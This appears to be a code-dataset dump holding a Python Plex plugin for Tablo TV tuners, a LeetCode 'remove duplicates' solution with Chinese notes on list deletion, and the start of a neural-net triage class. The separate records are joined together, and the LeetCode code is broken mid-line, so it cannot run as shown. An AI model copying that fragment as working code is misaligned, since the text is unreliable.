oc.add(DirectoryObject(thumb=R('icon_sports_hd.png'), key=Callback(sports), title=\"Sports\"))\n\n oc.add(DirectoryObject(thumb=R('icon_scheduled_hd.png'),\n key=Callback(scheduled, title=\"Scheduled Recordings\"),\n title=\"Scheduled Recordings\"))\n oc.add(DirectoryObject(thumb=R('icon_settings_hd.png'), key=Callback(Help, title=\"Help\"), title=\"Help\"))\n return oc\n\n\n\n'''#########################################\n Name: livetv()\n\n Parameters: None\n\n Handler: @route\n\n Purpose:\n\n Returns:\n\n Notes:\n#########################################'''\n\n\n@route(PREFIX + '/livetv', allow_sync=False)\ndef livetv():\n #Sync the Channels from the Tablo\n sync_database_channels()\n\n oc = ObjectContainer()\n oc.no_cache = True\n oc.title1 = 'Live TV'\n\n #Add the channels from all Tablos\n recordings = {}\n for tablo_server_id, cpe in Dict['CPES'].iteritems():\n for id, channelDict in cpe['CHANNELS'].iteritems():\n #tplog('recordingDict',recordingDict)\n tplog('livetv id', channelDict.id)\n oc.add(getlivetvepisode(channelDict, tablo_server_id))\n\n oc.objects.sort(key=lambda obj: obj.absolute_index, reverse=False)\n return oc\n\n\n'''#########################################\n Name: getlivetvepisode()\n\n Parameters: None\n\n Handler: @route\n\n Purpose:\n\n Returns:\n\n Notes:\n#########################################'''\n\n\n@route(PREFIX + '/getlivetvepisode')\ndef getlivetvepisode(channelDict, tablo_server_id, ocflag=False,includeRelatedCount=None,includeRelated=None,includeExtras=None):\n if ocflag:\n channelId = channelDict\n channelDict = ChannelGuide() #get_channel_dict(tablo_server_id, channelDict)\n channelDict.LoadInfo(tablo_server_id, channelId)\n channelDict.order = 1\n url = playlive(channelDict.id, tablo_server_id)\n tplog('getliveepisode', channelDict.id)\n eptitle = ''\n epsummary = ''\n epshow = ''\n eporder = 0\n epobjectID = 0\n\n try:\n if not channelDict.series or channelDict.series.id == 0:\n eptitle = channelDict.episode.title\n thumb = channelDict.episode.thumb\n else:\n eptitle = channelDict.series.title\n if channelDict.episode.title or not channelDict.episode.title is None:\n eptitle = eptitle + ' - ' + channelDict.episode.title\n thumb = channelDict.series.seriesthumb\n epsummary = channelDict.episode.summary\n epshow = channelDict.channelNumber + \": \" + channelDict.callSign\n eporder = (int(channelDict.numberMajor) * 100) + int(channelDict.numberMinor)\n epobjectID = int(channelDict.id)\n except Exception as e:\n tplogException('getlivetvepisode')\n episode = EpisodeObject(\n\n key=Callback(getlivetvepisode, channelDict=channelDict.id, tablo_server_id=tablo_server_id, ocflag=True),\n rating_key=epobjectID,\n show=epshow,\n title=eptitle,\n summary=epsummary,\n absolute_index=eporder, # season = airingData['seasonNumber'],\n thumb=Resource.ContentsOfURLWithFallback(url=getAssetImageURL(thumb, tablo_server_id),\n fallback=NOTV_ICON),\n source_title='TabloTV'\n\n\n )\n if ocflag:\n episode = EpisodeObject(\n\n key=Callback(getlivetvepisode, channelDict=channelDict.id, tablo_server_id=tablo_server_id, ocflag=True),\n rating_key=epobjectID,\n show=epshow,\n title=eptitle,\n summary=epsummary,\n absolute_index=eporder, # season = airingData['seasonNumber'],\n thumb=Resource.ContentsOfURLWithFallback(url=getAssetImageURL(channelDict.series.seriesthumb, tablo_server_id),\n fallback=NOTV_ICON),\n source_title='TabloTV',\n items=[\n MediaObject(\n parts=[\n PartObject(\n key=HTTPLiveStreamURL(url)\n\n )\n ],\n\n optimized_for_streaming=True,\n )\n ]\n\n )\n return ObjectContainer(objects=[episode])\n return episode\n\n\n'''#########################################\n Name: playlive()\n\n Parameters: None\n\n Handler: @route\n\n Purpose:\n\n Returns:\n\n Notes:\n#########################################'''\n\n\n@route(PREFIX + '/playlive')\ndef playlive(channelId, tablo_server_id):\n tplog(' --> playlive is Called', channelId)\n\n streamInfo = JSON.ObjectFromURL('http://' + Dict['CPES'][tablo_server_id]['PRIVATE_IP'] + ':' + Dict['CPES'][tablo_server_id][\n 'PRIVATE_PORT'] + '/guide/channels/' + channelId + '/watch', values=None, headers={},\n cacheTime=60, method='POST')\n if 'playlist_url' in streamInfo:\n return streamInfo['playlist_url']\n else:\n tplog(' --> playlive error: ','Returning error video')\n return 'http://c5676e956e00a92c0029-149333bb05f970c39fc9612992dd8b45.r89.cf1.rackcdn.com/No_lock.mp4'\n\n\n'''#########################################\n Name: recentrecordings()\n\n Parameters: None\n\n Handler: @route\n\n Purpose:\n\n Returns:\n\n Notes:\n#########################################'''\n\n\n@route(PREFIX + '/recentrecordings', allow_sync=True)\ndef recentrecordings():\n startsync()\n oc = ObjectContainer()\n oc2 = ObjectContainer()\n oc.title1 = 'Recent Recordings'\n for tablo_server_id, cpe in Dict['CPES'].iteritems():\n for id, recordingDict in cpe['RECORDINGS'].iteritems():\n #tplog('recordingDict',recordingDict)\n tplog('id', id)\n if recordingDict.recordingtype == 'TvShow':\n oc2.add(getepisodeasmovie(recordingDict, tablo_server_id))\n if recordingDict.recordingtype == 'Sports':\n oc2.add(getmovie(recordingDict, tablo_server_id))\n if recordingDict.recordingtype == 'Movie':\n oc2.add(getmovie(recordingDict, tablo_server_id))\n\n # Re-sort the records so that the latest recorded episodes are at the top of the list\n oc2.objects.sort(key=lambda obj: obj.originally_available_at, reverse=True)\n count = 0\n for obj in oc2.objects:\n count += 1\n if count < 201:\n oc.add(obj)\n\n return oc\n\n\n'''#########################################\n Name: Shows()\n\n Parameters: None\n\n Handler: @route\n\n Purpose:\n\n Returns:\n\n Notes:\n#########################################'''\n\n\n@route(PREFIX + '/Shows', allow_sync=True)\ndef shows():\n startsync()\n shows = {}\n oc = ObjectContainer()\n oc.title1 = 'Shows'\n recordings = {}\n for tablo_server_id, cpe in Dict['CPES'].iteritems():\n for id, recordingDict in cpe['RECORDINGS'].iteritems():\n #tplog('recordingDict',recordingDict)\n\n if recordingDict.recordingtype == 'TvShow':\n seriesId = recordingDict.seriesId\n\n if seriesId not in shows:\n if seriesId in cpe['SERIES']:\n seriesObj = cpe['SERIES'][seriesId]\n\n tplog('---Shows', seriesObj.seriesthumb)\n shows[seriesId] = 'true'\n oc.add(TVShowObject(\n rating_key=seriesId,\n art=seriesObj.backgroundart,\n key=Callback(seasons, title=seriesObj.title, seriesid=seriesId),\n title=seriesObj.title,\n summary=seriesObj.description,\n duration=recordingDict.duration,\n thumb=Resource.ContentsOfURLWithFallback(\n url=getAssetImageURL(seriesObj.seriesthumb, tablo_server_id), fallback=NOTV_ICON),\n\n originally_available_at=Datetime.ParseDate(recordingDict.airdate)\n ))\n else:\n tplog('---Unable to find series for recording', id)\n oc.add(TVShowObject(\n rating_key=seriesId,\n art=recordingDict.thumb,\n key=Callback(getepisode, episodeDict=recordingDict, tablo_server_id=tablo_server_id, ocflag=True),\n title=recordingDict.title,\n summary=recordingDict.summary,\n duration=recordingDict.duration,\n thumb=Resource.ContentsOfURLWithFallback(\n url=getAssetImageURL(recordingDict.thumb, tablo_server_id), fallback=NOTV_ICON),\n\n originally_available_at=Datetime.ParseDate(recordingDict.airdate)\n ))\n\n # Re-sort the records so that they are Alphabetical\n oc.objects.sort(key=lambda obj: obj.title, reverse=False)\n\n return oc\n\n\n'''#########################################\n Name: Seasons()\n\n Parameters: None\n\n Handler: @route\n\n Purpose:\n\n Returns:\n\n Notes:\n#########################################'''\n\n\n@route(PREFIX + '/Seasons', allow_sync=True)\ndef seasons(title, seriesid):\n startsync()\n seasons = {}\n lastseason = ''\n countseason = 0\n oc = ObjectContainer()\n oc.title1 = 'Seasons'\n\n for tablo_server_id, cpe in Dict['CPES'].iteritems():\n for id, recordingDict in cpe['RECORDINGS'].iteritems():\n if recordingDict.seriesId == seriesid:\n season = recordingDict.seasonnum\n if not season in seasons:\n seriesObj = cpe['SERIES'][recordingDict.seriesId]\n seasons[season] = 'true'\n countseason += 1\n lastseason = season\n oc.add(SeasonObject(\n art=seriesObj.backgroundart,\n index=recordingDict.seasonnum,\n rating_key=str(seriesid) + 'S' + str(recordingDict.seasonnum),\n key=Callback(episodes, title=seriesObj.title, seriesid=seriesid,\n seasonnum=recordingDict.seasonnum),\n title='Season ' + str(recordingDict.seasonnum),\n thumb=Resource.ContentsOfURLWithFallback(\n url=getAssetImageURL(seriesObj.seriesthumb, tablo_server_id), fallback=NOTV_ICON))\n )\n\n # Re-sort the records so that they are ordered by Season number\n oc.objects.sort(key=lambda obj: obj.index, reverse=True)\n if countseason == 1:\n return episodes(seriesObj.title, seriesid=seriesid, seasonnum=lastseason)\n return oc\n\n\n'''#########################################\n Name: Episodes()\n\n Parameters: None\n\n Handler: @route\n\n Purpose:\n\n Returns:\n\n Notes:\n#########################################'''\n\n\n@route(PREFIX + '/Episodes', allow_sync=True)\ndef episodes(title, seriesid, seasonnum):\n #tplog('====checking seriesid', seriesid)\n #tplog('====checking seasonnum', seasonnum)\n oc = ObjectContainer()\n oc.title1 = 'Episodes'\n recordings = {}\n for tablo_server_id, cpe in Dict['CPES'].iteritems():\n for id, recordingDict in cpe['RECORDINGS'].iteritems():\n tplog('====checking ', recordingDict.seriesId)\n\n if str(recordingDict.seriesId) == str(seriesid) and str(recordingDict.seasonnum) == str(seasonnum):\n tplog('====added ', seriesid)\n oc.add(getepisode(recordingDict, tablo_server_id))\n\n # Re-sort the records so that the latest recorded episodes are at the top of the list\n oc.objects.sort(key=lambda obj: obj.originally_available_at, reverse=True)\n\n return oc\n\n\n'''#########################################\n Name: movies()\n\n Parameters: None\n\n Handler: @route\n\n Purpose:\n\n Returns:\n\n Notes:\n#########################################'''\n\n\n@route(PREFIX + '/Movies', allow_sync=True)\ndef movies():\n startsync()\n\n oc = ObjectContainer()\n oc.title1 = 'Movies'\n recordings = {}\n for tablo_server_id, cpe in Dict['CPES'].iteritems():\n for id, recordingDict in cpe['RECORDINGS'].iteritems():\n #tplog('recordingDict',recordingDict)\n\n if recordingDict.recordingtype == 'Movie':\n oc.add(getmovie(recordingDict, tablo_server_id))\n\n # Re-sort the records so that the latest recorded episodes are at the top of the list\n oc.objects.sort(key=lambda obj: obj.originally_available_at, reverse=True)\n\n return oc\n\n\n'''#########################################\n Name: Sports()\n\n Parameters: None\n\n Handler: @route\n\n Purpose:\n\n Returns:\n\n Notes:\n#########################################'''\n\n\n@route(PREFIX + '/Sports', allow_sync=True)\ndef sports():\n startsync()\n\n oc = ObjectContainer()\n oc.title1 = 'Sports'\n\n for tablo_server_id, cpe in Dict['CPES'].iteritems():\n for id, recordingDict in cpe['RECORDINGS'].iteritems():\n #tplog('recordingDict',recordingDict)\n if recordingDict.recordingtype == 'Sports':\n oc.add(getmovie(recordingDict, tablo_server_id))\n\n\n # Re-sort the records so that the latest recorded episodes are at the top of the list\n oc.objects.sort(key=lambda obj: obj.originally_available_at, reverse=True)\n\n return oc\n\n\n'''#########################################\n Name: getepisode()\n\n Parameters: None\n\n Handler: @route\n\n Purpose: Returns a episode object for a recorded episode\n\n Returns:\n\n Notes:\n#########################################'''\n\n\ndef getepisode(episodeDict, tablo_server_id, ocflag=False,includeRelatedCount=None,includeRelated=None,includeExtras=None):\n #set values outside of function for better debugging\n epbackground_art = ART\n\n eptitle = episodeDict.title\n epseason = episodeDict.seasonnum\n epindex = episodeDict.episodenum\n epsummary = episodeDict.summary\n epduration = episodeDict.duration\n\n fallbackImgUrl = NOTV_ICON\n if 'SERIES' in Dict['CPES'][tablo_server_id]:\n if episodeDict.seriesId in Dict['CPES'][tablo_server_id]['SERIES']:\n seriesObj = Dict['CPES'][tablo_server_id]['SERIES'][episodeDict.seriesId]\n fallbackImgUrl = getAssetImageURL(seriesObj.seriesthumb, tablo_server_id),\n \n epthumb = Resource.ContentsOfURLWithFallback(url=getSnapImageURL(episodeDict, tablo_server_id),\n fallback=fallbackImgUrl)\n eporiginally_available_at = Datetime.ParseDate(episodeDict.airdate)\n streamInfo = JSON.ObjectFromURL('http://' + Dict['CPES'][tablo_server_id]['PRIVATE_IP'] + ':' + Dict['CPES'][tablo_server_id][\n 'PRIVATE_PORT'] + '/recordings/series/episodes/' + episodeDict.Id + '/watch', values=None, headers={},\n cacheTime=60, method='POST')\n if 'playlist_url' in streamInfo:\n url = streamInfo['playlist_url']\n else:\n tplog('Get Episode playlist url did not work', episodeDict.Id)\n return\n\n response = HTTP.Request(url, values=None, headers={}, cacheTime=60, encoding=None, errors=None, timeout=30,\n immediate=False, sleep=0)\n tplog('getmovie new response', response)\n episode = EpisodeObject(\n key=Callback(getepisode, episodeDict=episodeDict, tablo_server_id=tablo_server_id, ocflag=True),\n rating_key=episodeDict.Id,\n art=epbackground_art,\n title=eptitle,\n season=epseason,\n index=epindex,\n summary=epsummary,\n duration=epduration,\n thumb=epthumb,\n originally_available_at=eporiginally_available_at,\n items=[\n MediaObject(\n parts=[\n PartObject(\n key=HTTPLiveStreamURL(url),\n duration=epduration,\n ),\n ],\n duration=epduration,\n optimized_for_streaming=True,\n )\n ]\n )\n if ocflag:\n return ObjectContainer(objects=[episode])\n return episode\n\n\n'''#########################################\n Name: getmovie()\n\n Parameters: None\n\n Handler: @route\n\n Purpose: Returns a episode object for a recorded episode\n\n Returns:\n\n Notes:\n#########################################'''\n\n\ndef getmovie(episodeDict, tablo_server_id, ocflag=False):\n tplog('getmovie',episodeDict)\n #set values outside of function for better debugging\n epbackground_art = ART\n\n eptitle = episodeDict.title\n epsummary = episodeDict.summary\n epduration = episodeDict.duration\n tplog('get movie duration', epduration)\n epthumb = Resource.ContentsOfURLWithFallback(url=getSnapImageURL(episodeDict, tablo_server_id),\n fallback=episodeDict.thumb)\n eporiginally_available_at = Datetime.ParseDate(episodeDict.airdate)\n streamInfo = JSON.ObjectFromURL('http://' + Dict['CPES'][tablo_server_id]['PRIVATE_IP'] + ':' + Dict['CPES'][tablo_server_id][\n 'PRIVATE_PORT'] + '/recordings/movies/airings/' + episodeDict.Id + '/watch', values=None, headers={},\n cacheTime=60, method='POST')\n if 'playlist_url' in streamInfo:\n url = streamInfo['playlist_url']\n else:\n tplog('Get Episode playlist url did not work', episodeDict.Id)\n return\n\n movie = MovieObject(\n key=Callback(getmovie, episodeDict=episodeDict, tablo_server_id=tablo_server_id, ocflag=True),\n rating_key=episodeDict.Id,\n art=epbackground_art,\n title=eptitle,\n summary=epsummary,\n duration=epduration,\n thumb=epthumb,\n originally_available_at=eporiginally_available_at,\n items=[\n MediaObject(\n container=Container.MP4,\n audio_codec=AudioCodec.AAC,\n parts=[PartObject(key=HTTPLiveStreamURL(url))],\n duration=epduration,\n optimized_for_streaming=True\n )\n ]\n )\n if ocflag:\n return ObjectContainer(objects=[movie])\n return movie\n\n\n'''\n response = str(HTTP.Request(url, values=None, headers={}, cacheTime=60, encoding=None, errors=None, timeout=30,\n immediate=False, sleep=0))\n myparts = []\n\n count = 0\n for line in response.splitlines():\n if not line.startswith('#'):\n count += 1\n\n wcount = 0\n while (wcount < count):\n file = str(wcount).zfill(5)\n\n streamurl = 'http://' + Dict['CPES'][tablo_server_id]['PRIVATE_IP'] + ':' + Dict['CPES'][tablo_server_id][\n 'PRIVATE_PORT'] + '/pvr/' + episodeDict['recordingID'] + '/segs/' + file + '.ts'\n myparts.append(PartObject(key=HTTPLiveStreamURL(streamurl),duration=10))\n tplog('getmovie new response',streamurl)\n wcount += 1\n'''\n\n'''#########################################\n Name: getepisode()\n\n Parameters: None\n\n Handler: @route\n\n Purpose: Returns a episode object for a recorded episode\n\n Returns:\n\n Notes:\n#########################################'''\n\n\ndef getepisodeasmovie(episodeDict, tablo_server_id, ocflag=False):\n #set these first for easier debugging\n\n tplog(\"getepisodeasmovie - tablo_server_id\", tablo_server_id)\n\n seriesObj = Series()\n if episodeDict.seriesId in Dict['CPES'][tablo_server_id]['SERIES']:\n seriesObj = Dict['CPES'][tablo_server_id]['SERIES'][episodeDict.seriesId]\n else:\n seriesObj.LoadSeriesFromRecording(tablo_server_id, episodeDict.seriesId)\n Dict['CPES'][tablo_server_id]['SERIES'][episodeDict.seriesId] = seriesObj\n\n epart = seriesObj.backgroundart\n eptitle = seriesObj.title \n if episodeDict.title or not episodeDict.title is None:\n eptitle = eptitle + ' - ' + episodeDict.title\n epsummary = episodeDict.summary\n epduration = episodeDict.duration\n epthumb = Resource.ContentsOfURLWithFallback(url=getSnapImageURL(episodeDict, tablo_server_id),\n fallback=seriesObj.seriesthumb)\n eporiginally_available_at = Datetime.ParseDate(episodeDict.airdate)\n streamInfo = JSON.ObjectFromURL('http://' + Dict['CPES'][tablo_server_id]['PRIVATE_IP'] + ':' + Dict['CPES'][tablo_server_id][\n 'PRIVATE_PORT'] + '/recordings/series/episodes/' + episodeDict.Id + '/watch', values=None, headers={},\n cacheTime=60, method='POST')\n \n if 'playlist_url' in streamInfo:\n url = streamInfo['playlist_url']\n else:\n tplog('Get Episode playlist url did not work', episodeDict.Id)\n return\n \n if DEBUG_IT:\n tplog('URL Found', url)\n\n movie = MovieObject(\n key=Callback(getepisodeasmovie, episodeDict=episodeDict, tablo_server_id=tablo_server_id, ocflag=True),\n rating_key=episodeDict.Id,\n art=epart,\n title=eptitle,\n summary=epsummary,\n duration=epduration,\n thumb=epthumb,\n originally_available_at=eporiginally_available_at,\n items=[\n MediaObject(\n parts=[\n PartObject(\n key=HTTPLiveStreamURL(url),\n duration=epduration,\n ),\n ],\n duration=epduration,\n optimized_for_streaming=True,\n )\n ]\n\n )\n\n if ocflag:\n return ObjectContainer(objects=[movie])\n return movie\n\n\n'''#########################################\n Name: scheduled()\n\n Parameters: None\n\n Handler: @route\n\n Purpose:\n\n Returns:\n\n Notes:\n#########################################'''\n\n\n@route(PREFIX + '/scheduled')\ndef scheduled(title):\n oc = ObjectContainer()\n oc.title1 = title\n\n for tablo_server_id, cpe in Dict['CPES'].iteritems():\n cmd = \"/info/guideSeries/get\"\n parms = {\"filter\": {\"orderby\": \"startdate\", \"schedulestate\": \"scheduled\"}}\n result = TabloAPI(tablo_server_id, cmd, parms)\n\n recordings = result['result']['series']\n\n datetime = Datetime.Now()\n timezoneoffset = int((datetime - datetime.utcnow()).total_seconds())\n\n # Loop through channels and create a Episode Object for each show\n for airingData in recordings:\n unixtimestarted = Datetime.TimestampFromDatetime(Datetime.ParseDate(airingData['startTime']))\n displayeddate = str(Datetime.FromTimestamp(\n Datetime.TimestampFromDatetime(Datetime.ParseDate(airingData['startTime'])) + timezoneoffset))\n recordingtype = 'Unknown'\n if 'scheduleType' in airingData['schedule']:\n recordingtype = airingData['schedule']['scheduleType']\n imagedid = ''\n if 'images' in airingData:\n imagedid = airingData['images'][0]['imageID']\n tplog('scheduled airingdata loop', airingData)\n\n oc.add(\n #TVShowObject(\n PopupDirectoryObject(\n title=displayeddate + ' - ' + airingData['title'],\n summary='Recording on : ' + cpe['NAME'] + ' Scheduled to Record: ' + recordingtype,\n key=Callback(nothing, title=title), # season = airingData['seasonNumber'],\n thumb=Resource.ContentsOfURLWithFallback(url=getAssetImageURL(imagedid, tablo_server_id),\n fallback=NOTV_ICON),\n tagline=str(unixtimestarted)\n )\n )\n\n oc.objects.sort(key=lambda obj: obj.tagline, reverse=False)\n return oc\n\n\n'''#########################################\n Name: nothing()\n\n Parameters: None\n\n Handler: @route\n\n Purpose:\n\n Returns:\n\n Notes:\n#########################################'''\n\n\ndef nothing(title):\n oc = ObjectContainer()\n return oc\n\n\n############################################\n########### Help FUNCTIONS ###########\n############################################\n\n\n'''#########################################\n Name: Help()\n\n Parameters: None\n\n Handler: @route\n\n Purpose:\n\n Returns:\n\n Notes:\n#########################################'''\n\n\n@route(PREFIX + '/help')\ndef Help(title):\n oc = ObjectContainer()\n Dict['DATABASESYNCRUNNING'] = False\n Dict['CHANNELSYNCRUNNING'] = False\n oc.add(DirectoryObject(thumb=R('info.png'), key=Callback(About, title=\"About TabloTV Plex\"), title=\"About\"))\n oc.add(DirectoryObject(thumb=R('TabloTV-default.png'), key=Callback(detected, title=\"About Your Tablo\"),\n title=\"About Your Tablo\"))\n oc.add(DirectoryObject(thumb=R('icon-prefs.png'), key=Callback(ResetPlugin, title=\"Reset Plugin\"),\n title=\"Reset Plugin \"))\n oc.add(DirectoryObject(thumb=R('TabloProduct_FrontRight-default.jpg'), key=Callback(SelectTablo, title=\"Select Tablo\"),\n title=\"Select Tablo\"))\n return oc\n\n\n'''#########################################\n Name: Detected()\n\n Parameters: None\n\n Handler: @route\n\n Purpose:\n\n Returns:\n\n Notes:\n#########################################'''\n\n\n@route(PREFIX + '/about/Detected')\ndef detected(title):\n mymessage = \"\"\n\n for tablo_server_id, cpe in Dict['CPES'].iteritems():\n cmd = \"/server/status\"\n parms = {}\n result = TabloAPI(tablo_server_id, cmd, parms)\n tplog('detect', result)\n tablo = result['result']\n mymessage = mymessage + \" Tablo Reported Name: \" + tablo['name'] + '\\r\\n' + ' Reported IP: ' + tablo[\n 'localAddress'] + ' Running Version: ' + tablo['serverVersion']\n return ObjectContainer(header=title, message=mymessage)\n\n\n'''#########################################\n Name: About()\n\n Parameters: None\n\n Handler: @route\n\n Purpose:\n\n Returns:\n\n Notes:\n#########################################'''\n\n\n@route(PREFIX + '/about')\ndef About(title):\n return ObjectContainer(header=title, message='TabloTV Plex Plugin Version ' + VERSION)\n\n\n'''#########################################\n Name: Reset Plugin()\n\n Parameters: None\n\n Handler: @route\n\n Purpose:\n\n Returns:\n\n Notes:\n#########################################'''\n\n\n@route(PREFIX + '/ResetPlugin')\ndef ResetPlugin(title):\n try:\n # Pass full Tablo info to here for better parsing and future multiple tablo support\n del Dict['CPES']\n Dict['DATABASESYNCRUNNING'] = False\n Dict['CHANNELSYNCRUNNING'] = False\n build_tablos()\n sync_database_recordings(999)\n sync_database_channels(200)\n except:\n Log('Could not fetch tablo IP, Will use cached IP if available')\n\n return ObjectContainer(header=title, message='Plugin Reset Complete, Please go back to Main Menu Now')\n\n\n@route(PREFIX + '/SelectTablo')\ndef SelectTablo(title,Selected = ''):\n oc = ObjectContainer()\n backupselection = Dict['SelectedTablo']\n Dict['SelectedTablo'] = 'ALL'\n build_tablos()\n Dict['SelectedTablo'] = backupselection\n if Selected != '':\n Dict['SelectedTablo']= Selected\n del Dict['CPES']\n Dict['DATABASESYNCRUNNING'] = False\n Dict['CHANNELSYNCRUNNING'] = False\n build_tablos()\n sync_database_recordings(50)\n startsync()\n tplog('Selected Tablo', Selected)\n name = 'ALL'\n if Dict['SelectedTablo'] == 'ALL':\n name = name + ' (Selected) '\n oc.add(DirectoryObject(thumb=R('TabloProduct_FrontRight-default.jpgg'), key=Callback(SelectTablo, title=name,Selected='ALL'),\n title=name))\n try:\n # Pass full Tablo info to here for better parsing and future multiple tablo support\n for tablo_server_id, cpe in Dict['CPES'].iteritems():\n name = str(cpe['NAME'])\n tplog('cpe',name)\n if tablo_server_id == Dict['SelectedTablo']:\n name = name + ' (Selected)'\n oc.add(DirectoryObject(thumb=R('TabloProduct_FrontRight-default.jpg'), key=Callback(SelectTablo, title=name,Selected=tablo_server_id),\n title=name))\n\n except Exception as e:\n tplog('Select Tablo ',e)\n\n return oc\n\n\n############################################\n########### UTILITY FUNCTIONS ###########\n############################################\n\ndef getSnapImageURL(episodeDict, tablo_server_id):\n if str(episodeDict.thumb).startswith('http'):\n return episodeDict.thumb\n\n return 'http://' + Dict['CPES'][tablo_server_id]['PRIVATE_IP'] + '/stream/thumb?id=' + str(episodeDict.thumb) # removed port, stream is on port 80\n\n\ndef getAssetImageURL(assetID, tablo_server_id):\n if str(assetID).startswith('http'):\n return str(assetID)\n return 'http://' + Dict['CPES'][tablo_server_id]['PRIVATE_IP'] + '/stream/thumb?id=' + str(assetID) # removed port, stream is on port 80\n\n'''#########################################\n Name: TabloAPI2()\n \n Parameters: None\n \n Purpose:\n \n Returns:\n \n Notes:\n Returns result so that test for error can be handled in calling function\n #########################################'''\n\n\ndef TabloAPI2(tablo_server_id, cmd, parms):\n url = \"http://\" + Dict['CPES'][tablo_server_id]['PRIVATE_IP'] + Dict['CPES'][tablo_server_id][\n 'PRIVATE_PORT'] #\":8885\"\n tplog('TabloAPI2', \"Starting TabloAPI Call\")\n if DEBUG_IT:\n tplog(LOG_PREFIX + \"cmd\", cmd)\n request = str(cmd)\n \n if DEBUG_IT:\n tplog('TabloAPI2 Request: ', request)\n try:\n values = JSON.StringFromObject(request)\n result = JSON.ObjectFromString(str(\n HTTP.Request(url + cmd, values=None, headers={}, cacheTime=60, encoding=None, errors=None, timeout=30,\n immediate=False, sleep=0, data=values)))\n except Exception as e:\n tplog(\"Error when calling TabloAPI. Exception = \", e)\n return e\n if DEBUG_IT:\n tplog('TabloAP2I', result)\n tplog('TabloAPI2', \"End TabloAPI Call\")\n return result\n\n'''#########################################\n Name: TabloAPI()\n\n Parameters: None\n\n Purpose:\n\n Returns:\n\n Notes:\n Returns result so that test for error can be handled in calling function\n#########################################'''\n\n\ndef TabloAPI(tablo_server_id, cmd, parms):\n url = \"http://\" + Dict['CPES'][tablo_server_id]['PRIVATE_IP'] + ':' + Dict['CPES'][tablo_server_id][\n 'PRIVATE_PORT'] #\":8886\"\n tplog('TabloAPI', \"Starting TabloAPI Call\")\n if DEBUG_IT:\n tplog(LOG_PREFIX + \"cmd\", cmd)\n request = {\"jsonrpc\": 2.0, \"id\": \"1\", \"method\": str(cmd), \"params\": parms}\n\n if DEBUG_IT:\n tplog('TabloAPI Request: ', request)\n try:\n values = JSON.StringFromObject(request)\n result = JSON.ObjectFromString(str(\n HTTP.Request(url, values=None, headers={}, cacheTime=60, encoding=None, errors=None, timeout=30,\n immediate=False, sleep=0, data=values)))\n except Exception as e:\n tplog(\"Error when calling TabloAPI. Exception = \", e)\n return e\n if DEBUG_IT:\n tplog('TabloAPI', result)\n tplog('TabloAPI', \"End TabloAPI Call\")\n return result\n","sub_path":"Contents/Code/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":64164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"128722913","text":"\"\"\"\n给定一个排序数组,你需要在 原地 删除重复出现的元素,使得每个元素只出现一次,返回移除后数组的新长度。\n不要使用额外的数组空间,你必须在 原地 修改输入数组 并在使用 O(1) 额外空间的条件下完成。\n\n示例1:\n给定数组 nums = [1,1,2],\n函数应该返回新的长度 2, 并且原数组 nums 的前两个元素被修改为 1, 2。\n你不需要考虑数组中超出新长度后面的元素。\n\n示例2:\n给定 nums = [0,0,1,1,1,2,2,3,3,4],\n函数应该返回新的长度 5, 并且原数组 nums 的前五个元素被修改为 0, 1, 2, 3, 4。\n你不需要考虑数组中超出新长度后面的元素。\n\n\"\"\"\n\n\"\"\"\n思路分析:\n因为是有序序列,只需要前一个与后一个比较即可,并不麻烦\n\"\"\"\n#我的做法\n# Definition for singly-linked list.\nclass Solution:\n def removeDuplicates(self, nums: List[int]) -> int:\n i=0\n if len(nums)==0 or len(nums)==1:\n return len(nums)\n else:\n while(i int:\n a = 0\n b = 1\n while b < len(nums):\n if nums[b] == nums[a]:\n b += 1\n else:\n a += 1\n nums[a] = nums[b]\n return a+1\n\n\n\n\"\"\"\n\n\npython中关于删除list中的某个元素,一般有三种方法:remove、pop、del:\n\n1.remove: 删除单个元素,删除首个符合条件的元素,按值删除\n举例说明:\n\n>>> str=[1,2,3,4,5,2,6]\n>>> str.remove(2)\n>>> str\n[1, 3, 4, 5, 2, 6]\n\n \n\n2.pop: 删除单个或多个元素,按位删除(根据索引删除)\n\n>>> str=[0,1,2,3,4,5,6]\n>>> str.pop(1) #pop删除时��返回被删除的元素\n>>> str\n[0, 2, 3, 4, 5, 6]\n\n \n\n>>> str2=['abc','bcd','dce']\n>>> str2.pop(2)\n'dce'\n>>> str2\n['abc', 'bcd']\n\n \n\n3.del:它是根据索引(元素所在位置)来删除\n举例说明:\n\n>>> str=[1,2,3,4,5,2,6]\n>>> del str[1]\n>>> str\n[1, 3, 4, 5, 2, 6]\n\n \n\n>>> str2=['abc','bcd','dce']\n>>> del str2[1]\n>>> str2\n['abc', 'dce']\n\n \n\n除此之外,del还可以删除指定范围内的值。\n\n>>> str=[0,1,2,3,4,5,6]\n>>> del str[2:4] #删除从第2个元素开始,到第4个为止的元素(但是不包括尾部元素)\n>>> str\n[0, 1, 4, 5, 6]\n\n \n\ndel 也可以删除整个数据对象(列表、集合等)\n\n>>> str=[0,1,2,3,4,5,6]\n>>> del str\n>>> str #删除后,找不到对象\n\"\"\"","sub_path":"26、删除排序数组中的重复项.py","file_name":"26、删除排序数组中的重复项.py","file_ext":"py","file_size_in_byte":2682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"277793713","text":"import tensorflow as tf\nimport numpy as np\n\nfrom yass.neuralnetwork.utils import (weight_variable, bias_variable, conv2d,\n conv2d_VALID)\nfrom yass.util import load_yaml, change_extension\n\n\nclass NeuralNetTriage(object):\n \"\"\"\n Class for training and running convolutional neural network detector\n for spike detection\n and autoencoder for feature extraction.\n\n Attributes:\n -----------\n C: int\n spatial filter size of the spatial convolutional layer.\n R1: int\n temporal filter sizes for the temporal convolutional layers.\n K1,K2: int\n number of filters for each convolutional layer.\n W1, W11, W2: tf.Variable\n [temporal_filter_size, spatial_filter_size, input_filter_number,\n ouput_filter_number] weight matrices\n for the covolutional layers.\n b1, b11, b2: tf.Variable\n bias variable for the convolutional layers.\n saver: tf.train.Saver\n saver object for the neural network detector.\n \"\"\"\n\n def __init__(self, path_to_triage_model):\n \"\"\"\n Initializes the attributes for the class NeuralNetTriage.\n\n Parameters:\n -----------\n path_to_detector_model: str\n location of trained neural net triage\n \"\"\"\n # save path to the model as an attribute\n self.path_to_triage_model = path_to_triage_model\n\n # load necessary parameters\n path_to_filters = change_extension(path_to_triage_model, 'yaml')\n self.filters_dict = load_yaml(path_to_filters)\n R1 = self.filters_dict['size']\n K1, K2 = 